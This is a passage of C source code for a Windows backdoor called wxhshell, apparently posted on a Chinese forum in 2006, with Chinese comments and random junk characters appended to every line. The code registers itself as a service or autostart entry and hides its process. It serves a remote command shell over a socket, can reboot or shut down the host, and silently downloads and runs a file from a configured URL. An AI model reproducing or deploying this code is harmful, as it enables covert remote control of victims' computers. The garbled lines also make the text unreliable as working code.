  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U^SJWYi<Y  
  } |>a sGP  
  else { S(Md  
< U`lh  
    switch(cmd[0]) { M7{w7}B0@  
  ;rWgt!l  
  // 帮助 A\Rkt;:  
  case '?': { CrC1&F\dq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'F3Xb  
    break; {aP5Mem  
  } DK 4 8  
  // 安装 l<qK' P4  
  case 'i': { d)F~)}TFM  
    if(Install()) & .VciSq6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5KpiibFM  
    else XL>v$7`#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x'_I{$C &  
    break; %[0V>  
    } |SC^H56+  
  // 卸载 VE5w!of  
  case 'r': { KCd}N  
    if(Uninstall()) %cMX]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?WE#%W7U  
    else n[ip'*2L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E>f+E8?  
    break; B9pro%R1Bo  
    } :4s{?IY)l  
  // 显示 wxhshell 所在路径 :GXiA  
  case 'p': { ?.E6Ube  
    char svExeFile[MAX_PATH]; ^6s<  
    strcpy(svExeFile,"\n\r"); )8vz4e Y  
      strcat(svExeFile,ExeFile); @Z> {/  
        send(wsh,svExeFile,strlen(svExeFile),0); ]TQ2PVN2  
    break; v'uWmL7C  
    } ve[` 0  
  // 重启 xrDHXqH  
  case 'b': { S 4uX utd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); = #]^H c  
    if(Boot(REBOOT)) <EFA^,3t%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,K=\Y9l3  
    else { 8px@sXI*`  
    closesocket(wsh); ,>lOmyh  
    ExitThread(0); j\& `  
    } *4#)or  
    break; ,.[T]37  
    } )8]O|Z-CU  
  // 关机 ]vRte!QJ;  
  case 'd': { d2sY.L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JVbR5"+.  
    if(Boot(SHUTDOWN)) s<VNW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @NlE2s6a  
    else { `Yn:fL7S  
    closesocket(wsh); m` ^o<V&  
    ExitThread(0); cM%I5F+n  
    } _$%.F| :  
    break; _7r<RZ  
    } RGFanP  
  // 获取shell "L^]a$&  
  case 's': { a^_\#,}  
    CmdShell(wsh); =.`(KXT  
    closesocket(wsh); .lnyn|MVb  
    ExitThread(0); S]&f+g}&w  
    break; sy`@q<h(  
  } $sK8l=#  
  // 退出 5v6 x  
  case 'x': { HwTb753  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5/Viz`hsz  
    CloseIt(wsh); g bDre~|  
    break; ~t7?5b?*\  
    } `|?K4<5|  
  // 离开 &nkYJi(!  
  case 'q': { Hhx"47:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3V ~871:-~  
    closesocket(wsh); wSoIU,I  
    WSACleanup(); o1C1F}gxU  
    exit(1); QND{3Q  
    break; 5(RFk Zn4[  
        } jMv qKJ(<  
  } -|;{/ s5  
  } -xs @rV`  
q5C(/@)^  
  // 提示信息 Kn-cwz5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -X+G_rY  
} %(lr.9.]H  
  } R-8>,  
\]RPxM:_>  
  return; 6;s.%W  
} PyQt8Qlz  
UhKC:<%  
// shell模块句柄 kI7c22OJ  
int CmdShell(SOCKET sock) kT6h}d^/^  
{ jb;!"HC  
STARTUPINFO si; ]@E_Hx{S  
ZeroMemory(&si,sizeof(si)); mQEE?/xX;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +KV?W+g)`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NG3!09eY  
PROCESS_INFORMATION ProcessInfo; }e$^v*16  
char cmdline[]="cmd"; XY %er  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :[![9JS/  
  return 0; y4sKe:@2  
} }-YM>q  
JSz;>  
// 自身启动模式 pG"pvfEl9f  
int StartFromService(void) <u "xHl8Io  
{ 4<%(Y-_sF  
typedef struct .. jc^'L  
{ eS(hLXE!7  
  DWORD ExitStatus; < 12ia"}  
  DWORD PebBaseAddress; ?VCdT`6=  
  DWORD AffinityMask; U9w0kcUw#J  
  DWORD BasePriority; #r5IwyL  
  ULONG UniqueProcessId; (gW#T\Eln  
  ULONG InheritedFromUniqueProcessId; wW2b?b{*Z  
}   PROCESS_BASIC_INFORMATION; +/xmxh$ $  
l~ 3H"  
PROCNTQSIP NtQueryInformationProcess; )~W 35  
^`M,ju  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2J?ON|2M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0"l*8%g  
pJ8;7u  
  HANDLE             hProcess; U\OfB'Dn  
  PROCESS_BASIC_INFORMATION pbi; TCShS}q;%  
z[Sq7bbYO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j v9DQr  
  if(NULL == hInst ) return 0; Dp1FX"a)  
k;EG28   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r?cDyQE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K4w %XVaH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =QdHji/sB  
RRSkXDU}  
  if (!NtQueryInformationProcess) return 0; W5 l)mAv  
iczJXA+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vNdMPulr{  
  if(!hProcess) return 0; <'(O0  
_(A9k{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2;8I0BH*'  
[l~Gwaul>  
  CloseHandle(hProcess); ;MSdTHN"  
7 2Zp%a=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~>2DA$Ec  
if(hProcess==NULL) return 0; ? 2#tIND  
?a)X)#lQ  
HMODULE hMod; + t%[$"$  
char procName[255]; pI>yO~Ve  
unsigned long cbNeeded; ^7b[s pqE  
$a / jfpV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Oe#*-  
H]]UsY`  
  CloseHandle(hProcess); %K9pnq/T^  
dP[vXhc  
if(strstr(procName,"services")) return 1; // 以服务启动 0EWov~Y?  
AQ}(v,DOb  
  return 0; // 注册表启动 &P2tzY'  
} }G{'Rb  
`vbd7i  
// 主模块 MxXf.iX&  
int StartWxhshell(LPSTR lpCmdLine) +V2\hq[{  
{ %P3|#0yg0  
  SOCKET wsl; yT3q~#:  
BOOL val=TRUE; 4?eO1=a  
  int port=0; u/s,#  
  struct sockaddr_in door; "6^~-` O  
(w1M\yodV  
  if(wscfg.ws_autoins) Install(); V1yY>  
" pZvV0'  
port=atoi(lpCmdLine); 4O I''i  
|gV$ks\<  
if(port<=0) port=wscfg.ws_port; HACY  
, ZisJksk  
  WSADATA data; -'!K("  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +ConK>;  
k 4HE'WY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rnOg;|u8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T O]wD^`  
  door.sin_family = AF_INET; i>*|k]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s (2/]f$  
  door.sin_port = htons(port); ~8oti4  
{zck Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -(oFO'Lbg  
closesocket(wsl); m2{DLw".  
return 1; )2pOCAjL2  
} B,x ohT  
]3KMFV}  
  if(listen(wsl,2) == INVALID_SOCKET) { q.}M^iDe  
closesocket(wsl); CjQ)Bu *4  
return 1; {M_*hR;lL  
} (GCeD-  
  Wxhshell(wsl); $.5f-vQp  
  WSACleanup(); Rfx}[!<{N  
<<SUIY@X  
return 0;  /# FU"  
^ ,cwm:B@  
} :-[y`/R  
Hxr)`i46  
// 以NT服务方式启动 JmP[9"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  /N8>>g  
{ #/,WgsAC  
DWORD   status = 0; I$y6N"|  
  DWORD   specificError = 0xfffffff; lSG"c+iV  
! ^ DQX=1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .%"s| D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~+)sL1lx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6 3NhD  
  serviceStatus.dwWin32ExitCode     = 0; Sb|9U8h  
  serviceStatus.dwServiceSpecificExitCode = 0; \*+-Bm:$j  
  serviceStatus.dwCheckPoint       = 0; ,_iR  
  serviceStatus.dwWaitHint       = 0; o0)k5P~<~  
AZ7m=Q97  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K2o\+t  
  if (hServiceStatusHandle==0) return; i]{-KZC  
w9aLTLv-  
status = GetLastError(); ?= R C?K  
  if (status!=NO_ERROR) +EOd9.X\~  
{ + FG Xx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {Q(R#$)5+  
    serviceStatus.dwCheckPoint       = 0; |Bhj L,  
    serviceStatus.dwWaitHint       = 0; %+bw2;a6  
    serviceStatus.dwWin32ExitCode     = status; xgQ&'&7l  
    serviceStatus.dwServiceSpecificExitCode = specificError; isR)^fI|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1"fbQ^4`  
    return; [dIlt"2fV  
  } V"u .u  
9`FPV`/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LD gGVl  
  serviceStatus.dwCheckPoint       = 0; XIRvIwO  
  serviceStatus.dwWaitHint       = 0; uG^RU\(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JU`5K}H<  
} sKniqWi  
.Gcs/PN   
// 处理NT服务事件,比如:启动、停止 wgcKeTD9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2_C&p6VGj  
{ n1Fp$9%  
switch(fdwControl) cKe{ ]a  
{ &fRZaq'2R  
case SERVICE_CONTROL_STOP: tg"NWp6  
  serviceStatus.dwWin32ExitCode = 0; =C4!h'hz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /DxeG'O  
  serviceStatus.dwCheckPoint   = 0; \2OjIEQQ  
  serviceStatus.dwWaitHint     = 0; ]1dnp]r  
  { u d$*/ )/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i7jI(VvB^  
  } 8h$f6JE  
  return; 3cB=9Y{<  
case SERVICE_CONTROL_PAUSE: E%e2$KfD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AD@-H0Y  
  break; NA{?DSP  
case SERVICE_CONTROL_CONTINUE: Jf3xK"in  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'nP;IuMP  
  break; _@A%t&l  
case SERVICE_CONTROL_INTERROGATE: BW{&A&j  
  break; nS9 kwaO  
}; ATkx_1]KM-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !K8V":1du#  
} "]kq,j^]  
w#w?Y!JXo  
// 标准应用程序主函数 7 P/1'f3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b3^d!#KVM  
{ CZ|h` ";P2  
?:c:D5N  
// 获取操作系统版本 a<Ksas'5S  
OsIsNt=GetOsVer(); %O02xr=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o`%;*tx  
GI[XcK^*w  
  // 从命令行安装 #4wia%}u  
  if(strpbrk(lpCmdLine,"iI")) Install(); cM;,nX%/  
f6U i~  
  // 下载执行文件 |N+uEiJ  
if(wscfg.ws_downexe) { 4Tn97G7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cw,;>>Y_b<  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Vlt4,s)  
} +H6cZ,  
7Ug^aA  
if(!OsIsNt) { z3C@0v=u>  
// 如果时win9x,隐藏进程并且设置为注册表启动 WEsX+okj  
HideProc(); ]h 4r@L3  
StartWxhshell(lpCmdLine); OiJz?G:m  
} ZK$<"z6{  
else Cy2)M(RW  
  if(StartFromService()) =P7!6V\f  
  // 以服务方式启动 9Pjw< xt  
  StartServiceCtrlDispatcher(DispatchTable); I*OJPFZ^4  
else QNxY`  
  // 普通方式启动  Mcm%G#  
  StartWxhshell(lpCmdLine); Q%.F Mf  
rlP?Uh  
return 0; ty-erdsP  
}
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只看该作者 1 发表于: 2006-10-10
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